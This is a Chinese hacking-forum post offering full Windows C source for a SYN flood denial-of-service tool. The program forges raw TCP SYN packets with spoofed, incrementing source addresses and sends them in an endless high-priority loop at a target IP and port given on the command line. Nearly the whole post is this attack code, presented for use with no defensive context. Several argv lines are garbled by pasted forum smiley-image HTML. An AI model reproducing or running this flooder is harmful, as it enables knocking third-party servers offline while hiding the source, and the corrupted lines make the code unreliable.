返回列表 发帖

[分享] synflood源码(拒绝服务攻击)

  1. #include <winsock2.h>
  2. #include <Ws2tcpip.h>
  3. #include <windows.h>
  4. #include <stdio.h>

  5. #pragma comment(lib,"ws2_32")
  6. #pragma comment(lib,"wsock32")
  7. #define FAKE_IP "201.79.131.18"
  8. #define SEQ 0x28376839
  9. #define right "===============Coder Paris-ye====================\n"
  10. USHORT checksum(USHORT *buffer, int size);
  11. int flood();

  12. typedef struct tcphdr
  13. {
  14. USHORT th_sport;
  15. USHORT th_dport;
  16. unsigned int th_seq;
  17. unsigned int th_ack;
  18. unsigned char th_lenres;
  19. unsigned char th_flag;
  20. USHORT th_win;
  21. USHORT th_sum;
  22. USHORT th_urp;
  23. }TCP_HEADER;

  24. typedef struct iphdr
  25. {
  26. unsigned char h_verlen;
  27. unsigned char tos;
  28. unsigned short total_len;
  29. unsigned short ident;
  30. unsigned short frag_and_flags;
  31. unsigned char ttl;
  32. unsigned char proto;
  33. unsigned short checksum;
  34. unsigned int sourceIP;
  35. unsigned int destIP;
  36. }IP_HEADER;

  37. struct
  38. {
  39. unsigned long saddr;
  40. unsigned long daddr;
  41. char mbz;
  42. char ptcl;
  43. unsigned short tcpl;
  44. }PSD_HEADER;

  45. WSADATA wsaData;
  46. SOCKET sockMain = (SOCKET) NULL;
  47. int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
  48. unsigned short activPort=40000;
  49. struct sockaddr_in sockAddr;
  50. TCP_HEADER tcpheader;
  51. IP_HEADER ipheader;
  52. char sendBuf[128];

  53. USHORT checksum(USHORT *buffer, int size)
  54. {
  55. unsigned long cksum=0;
  56. while(size >1) {
  57.   cksum+=*buffer++;
  58.   size-=sizeof(USHORT);
  59. }
  60. if(size) cksum+=*(UCHAR*)buffer;
  61. cksum=(cksum >> 16)+(cksum&0xffff);
  62. cksum+=(cksum >>16);
  63. return (USHORT)(~cksum);
  64. }


  65. int main(int argc,char* argv[])
  66. {
  67. int portNum=0;
  68. DWORD dw;
  69. HANDLE hThread=NULL;
  70. char putInfo;

  71. if(argc!=3)
  72. {
  73.   printf("%s\n",right);
  74.   printf("Invalid command,Pls use:\n%s <IP> <port>\nExample:%s 192.168.100.244 80",argv[0],argv[0]);
  75.   return 1;
  76. }
  77. if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
  78.   printf("WSAStartup failed: %d\n",ErrorCode);
  79.   return 2;
  80. }
  81. sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
  82. if(sockMain==INVALID_SOCKET)
  83. {
  84.   printf("Socket failed: %d\n",WSAGetLastError());
  85. return 3;
  86. }
  87. ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
  88. if(ErrorCode==SOCKET_ERROR)
  89. {
  90.   printf("Set sockopt failed: %d\n",WSAGetLastError());
  91.   return 4;
  92. }
  93. ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
  94. if(ErrorCode==SOCKET_ERROR)
  95. {
  96.   printf("Set sockopt time out failed: %d\n",WSAGetLastError());
  97. return 5;
  98. }
  99. portNum=atoi(argv screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.stylehack.cn/images/smilies/icon_2.gif');}" alt="" src="http://www.stylehack.cn/images/smilies/icon_2.gif" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>);

  100. memset(&sockAddr,0,sizeof(sockAddr));
  101. sockAddr.sin_family=AF_INET;
  102. sockAddr.sin_addr.s_addr =inet_addr(argv screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.stylehack.cn/images/smilies/icon_1.gif');}" alt="" src="http://www.stylehack.cn/images/smilies/icon_1.gif" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>);
  103. FakeIpNet=inet_addr(FAKE_IP);
  104. FakeIpHost=ntohl(FakeIpNet);

  105. ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
  106. ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
  107. ipheader.ident = 1;
  108. ipheader.frag_and_flags = 0;
  109. ipheader.ttl = 128;
  110. ipheader.proto = IPPROTO_TCP;
  111. ipheader.checksum =0;
  112. ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
  113. ipheader.destIP = inet_addr(argv screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://www.stylehack.cn/images/smilies/icon_1.gif');}" alt="" src="http://www.stylehack.cn/images/smilies/icon_1.gif" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>);

  114. tcpheader.th_dport=htons(portNum);
  115. tcpheader.th_sport = htons(portNum);
  116. tcpheader.th_seq = htonl(SEQ+SendSEQ);
  117. tcpheader.th_ack = 0;
  118. tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
  119. tcpheader.th_flag = 2;
  120. tcpheader.th_win = htons(16384);
  121. tcpheader.th_urp = 0;
  122. tcpheader.th_sum = 0;

  123. PSD_HEADER.saddr=ipheader.sourceIP;
  124. PSD_HEADER.daddr=ipheader.destIP;
  125. PSD_HEADER.mbz=0;
  126. PSD_HEADER.ptcl=IPPROTO_TCP;
  127. PSD_HEADER.tcpl=htons(sizeof(tcpheader));
  128. printf("%s\n",right);
  129. hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)flood,0,Create_SUSPENDED,&dw);
  130. SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST);
  131. ResumeThread(hThread);
  132. printf("Warning[start]...........\nPress any key to stop!\n");
  133. putInfo=getchar();
  134. TerminateThread(hThread,0);
  135. WSACleanup();
  136. printf("\nStopd...........\n");

  137. return 0;
  138. }

  139. int flood()
  140. {
  141. while(1)
  142. {
  143.   if(SendSEQ++==65536) SendSEQ=1;
  144.   if(activPort++==40010) activPort=1000;
  145.   ipheader.checksum =0;
  146.   ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
  147.   tcpheader.th_seq = htonl(SEQ+SendSEQ);
  148.   tcpheader.th_sport = htons(activPort);
  149.   tcpheader.th_sum = 0;
  150.   PSD_HEADER.saddr=ipheader.sourceIP;
  151.   memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
  152.   memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
  153.   tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));

  154.   memcpy(sendBuf,&ipheader,sizeof(ipheader));
  155.   memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
  156.   memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
  157.   dataSize=sizeof(ipheader)+sizeof(tcpheader);
  158.   ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
  159.   memcpy(sendBuf,&ipheader,sizeof(ipheader));
  160.   ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
  161.   if(ErrorCode==SOCKET_ERROR)
  162.   {
  163.    printf("\nCan't connect this IP!Pls check it.\n");
  164.    ExitThread(1);
  165.   }
  166.   // Sleep(1000);
  167. }
  168. return 0;
  169. }
复制代码

[ 本帖最后由 chinanic 于 2007-4-1 06:13 编辑 ]
http://www.sylehack.cn
自古英雄出我辈.一入网络岁月催.识尽网络千机变.回头才知一场空.

返回列表 回复 发帖